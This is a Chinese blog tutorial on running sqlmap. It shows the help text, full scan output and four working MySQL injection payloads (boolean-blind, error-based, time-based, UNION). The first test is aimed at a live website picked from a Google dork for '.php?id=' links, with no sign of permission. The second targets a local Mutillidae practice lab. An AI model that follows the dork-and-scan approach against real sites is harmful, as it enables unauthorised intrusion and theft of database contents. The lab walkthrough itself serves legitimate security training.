当前位置: 首页 > article >正文

sqlmap 自动注入 -01

1: 先看一下sqlmap 的help:

在kali-linux 系统里面,可以sqlmap -h看一下:

  Target:

    At least one of these options has to be provided to define the

    target(s)

    -u URL, --url=URL   Target URL (e.g. "Salesforce Platform for Application Development | Salesforce US")

    -g GOOGLEDORK       Process Google dork results as target URLs

可以看到上面是 php?id=1 的结尾的。

下面google 上面inurl .php?id= 来搜索一下:

去搜索的结果里面找一个有这样结尾的: .php?id=

其他的sqlmap 的参数也可以看一下,下面是一些例子:

  Enumeration:

    These options can be used to enumerate the back-end database

    management system information, structure and data contained in the

    tables

    -a, --all           Retrieve everything

    -b, --banner        Retrieve DBMS banner

    --current-user      Retrieve DBMS current user

    --current-db        Retrieve DBMS current database

    --passwords         Enumerate DBMS users password hashes

    --dbs               Enumerate DBMS databases

    --tables            Enumerate DBMS database tables

    --columns           Enumerate DBMS database table columns

    --schema            Enumerate DBMS schema

    --dump              Dump DBMS database table entries

    --dump-all          Dump all DBMS databases tables entries

    -D DB               DBMS database to enumerate

    -T TBL              DBMS database table(s) to enumerate

    -C COL              DBMS database table column(s) to enumerate

2: 下面测试一下:

└─# sqlmap -u "https:/abc.xxxxxphp?id=17"

        ___

       __H__                                                                                                       

 ___ ___[)]_____ ___ ___  {1.8.7#stable}                                                                           

|_ -| . [']     | .'| . |                                                                                          

|___|_  [(]_|_|_|__,|  _|                                                                                          

      |_|V...       |_|   sqlmap: automatic SQL injection and database takeover tool                                                                       

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 02:52:06 /2025-01-21/

[02:52:06] [INFO] testing connection to the target URL

[02:52:08] [WARNING] there is a DBMS error found in the HTTP response body which could interfere with the results of the tests

[02:52:08] [INFO] checking if the target is protected by some kind of WAF/IPS

[02:52:10] [INFO] testing if the target URL content is stable

[02:52:12] [INFO] target URL content is stable

[02:52:12] [INFO] testing if GET parameter 'id' is dynamic

[02:52:14] [WARNING] GET parameter 'id' does not appear to be dynamic

[02:52:15] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')

[02:52:17] [INFO] testing for SQL injection on GET parameter 'id'

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]

可以看出,上面已经返回结果,说,后台的数据库好像是mysql, 那么就可以用dbms=mysql 来指定DB进行注入:

还有个参数是 --batch, 这个是不要交互的参数:

 上面的输入" Y" 后,出现如下的参数:

for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y

[03:04:30] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'

[03:04:39] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'

[03:04:40] [INFO] testing 'Generic inline queries'

[03:04:43] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'

有level 和risk 的参数,下面我们还是进入owasp 来看一下:

进入这个buttom:

直接进入这个界面:

进入这个界面:

随便输入一个账号+ 密码 进入:

看一下生成的link URL 如下:

http://192.168.56.133/mutillidae/index.php?page=user-info.php&username=xiaosheng&password=abc&user-info-php-submit-button=View+Account+Details

下面用这个url sql 注入一下:

sqlmap -u "http://192.168.56.133/mutillidae/index.php?page=user-info.php&username=xiaosheng&password=abc&user-info-php-submit-button=View+Account+Details" --batch --dbms=mysql -p username

下面是注入结果:

      __H__                                                                                                       

 ___ ___[(]_____ ___ ___  {1.8.7#stable}                                                                           

|_ -| . [)]     | .'| . |                                                                                          

|___|_  ["]_|_|_|__,|  _|                                                                                          

      |_|V...       |_|   sqlmap: automatic SQL injection and database takeover tool                                                                  

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 03:26:28 /2025-01-21/

[03:26:28] [INFO] testing connection to the target URL

you have not declared cookie(s), while server wants to set its own ('PHPSESSID=t8tm6u91qtv...on6o3e2772;showhints=1'). Do you want to use those [Y/n] Y

[03:26:29] [INFO] testing if the target URL content is stable

[03:26:30] [INFO] target URL content is stable

[03:26:31] [INFO] heuristic (basic) test shows that GET parameter 'username' might be injectable (possible DBMS: 'MySQL')                                                                                                              

[03:26:32] [INFO] heuristic (XSS) test shows that GET parameter 'username' might be vulnerable to cross-site scripting (XSS) attacks

[03:26:32] [INFO] testing for SQL injection on GET parameter 'username'

for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y

[03:26:32] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'

[03:26:33] [WARNING] reflective value(s) found and filtering out

[03:26:41] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'

[03:26:42] [INFO] testing 'Generic inline queries'

[03:26:43] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'

[03:27:06] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)'

[03:27:10] [INFO] GET parameter 'username' appears to be 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)' injectable (with --string="Signature=")                                                                     

[03:27:10] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'                                                                                                                

[03:27:10] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'

[03:27:11] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'

[03:27:11] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'

[03:27:12] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'

[03:27:13] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'

[03:27:13] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'

[03:27:14] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'

[03:27:15] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'

[03:27:15] [INFO] GET parameter 'username' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable                                                                                           

[03:27:15] [INFO] testing 'MySQL inline queries'

[03:27:16] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'

[03:27:16] [INFO] testing 'MySQL >= 5.0.12 stacked queries'

[03:27:17] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'

[03:27:17] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'

[03:27:18] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)'

[03:27:18] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)'

[03:27:19] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'

[03:27:30] [INFO] GET parameter 'username' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable

[03:27:30] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'

[03:27:30] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'

[03:27:30] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found

[03:27:31] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test

[03:27:33] [INFO] target URL appears to have 7 columns in query

[03:27:36] [INFO] GET parameter 'username' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable

[03:27:36] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval

GET parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N

sqlmap identified the following injection point(s) with a total of 95 HTTP(s) requests:

---

Parameter: username (GET)

    Type: boolean-based blind

    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)

    Payload: page=user-info.php&username=-4134' OR 5736=5736#&password=abc&user-info-php-submit-button=View Account Details

    Type: error-based

    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)

    Payload: page=user-info.php&username=xiaosheng' AND (SELECT 6106 FROM(SELECT COUNT(*),CONCAT(0x717a627a71,(SELECT (ELT(6106=6106,1))),0x716b7a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- uiLS&password=abc&user-info-php-submit-button=View Account Details

    Type: time-based blind

    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

    Payload: page=user-info.php&username=xiaosheng' AND (SELECT 4704 FROM (SELECT(SLEEP(5)))pmhr)-- ITco&password=abc&user-info-php-submit-button=View Account Details

    Type: UNION query

    Title: MySQL UNION query (NULL) - 7 columns

    Payload: page=user-info.php&username=xiaosheng' UNION ALL SELECT NULL,CONCAT(0x717a627a71,0x4e564f5771416964435a7375556e7944795359717172507a7953457451746c5a5a61436565456677,0x716b7a7871),NULL,NULL,NULL,NULL,NULL#&password=abc&user-info-php-submit-button=View Account Details

---

[03:27:36] [INFO] the back-end DBMS is MySQL

web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)

web application technology: PHP 5.3.2, PHP, Apache 2.2.14

back-end DBMS: MySQL >= 5.0

[03:27:39] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.56.133'

[03:27:39] [WARNING] your sqlmap version is outdated

[*] ending @ 03:27:39 /2025-01-21/

--

上面的注入结果:

自动输入 " Y" 是因为 测试语句加入 --batch 的结果。

如果是第二次再run 同样的注入语句的话,时间会很快结束了。

上面如果没有加 -p username 的话,会对很多个注入点进行检测,会很耗时间。

参考文献: 

16.SQL注入攻击_哔哩哔哩_bilibili


http://www.kler.cn/a/513182.html

相关文章:

  • adb 命令使用大全
  • 2024年博客之星主题创作|从零到一:我的技术成长与创作之路
  • Python----Python高级(文件操作open,os模块对于文件操作,shutil模块 )
  • 鸿蒙系统 将工程HarmonyOS变成OpenHarmony
  • [操作系统] 进程的调度
  • PyTorch使用教程- Tensor包
  • 【Linux】华为服务器使用U盘安装统信操作系统
  • 跨境电商之小程序shinecrys水晶国度小程序数据分析
  • 【HF设计模式】06-命令模式
  • Flink底层架构与运行流程
  • 2.4 kubectl命令行设置7大命令分组
  • 三轴云台之跟随模式篇
  • JAVA:策略模式(Strategy Pattern)的技术指南
  • Java泛型方法所受的限制是什么?
  • JDBC实验测试
  • 软通动力携鸿湖万联与微展世签署战略合作协议,以开源鸿蒙赋能工业创新升级
  • 【深度学习基础】多层感知机 | 多层感知机的实现
  • K8S如何让worker使用kubectl命令(RBAC方法)
  • 机器学习-核函数(Kernel Function)
  • 使用xorriso v1.5.2和grub4dos 0.4.6a -2024-02-26制作可启动ISO文件
  • 《Keras 3 使用 Reptile 进行 Few-Shot 学习》
  • SSL证书的颁发格式和制作过
  • 第四天 安装DevEco Studio,配置HarmonyOS开发环境
  • 【集合】单列集合和双列集合
  • OpenCV简介、OpenCV安装
  • 25届自动化考研复试微机原理基础版题库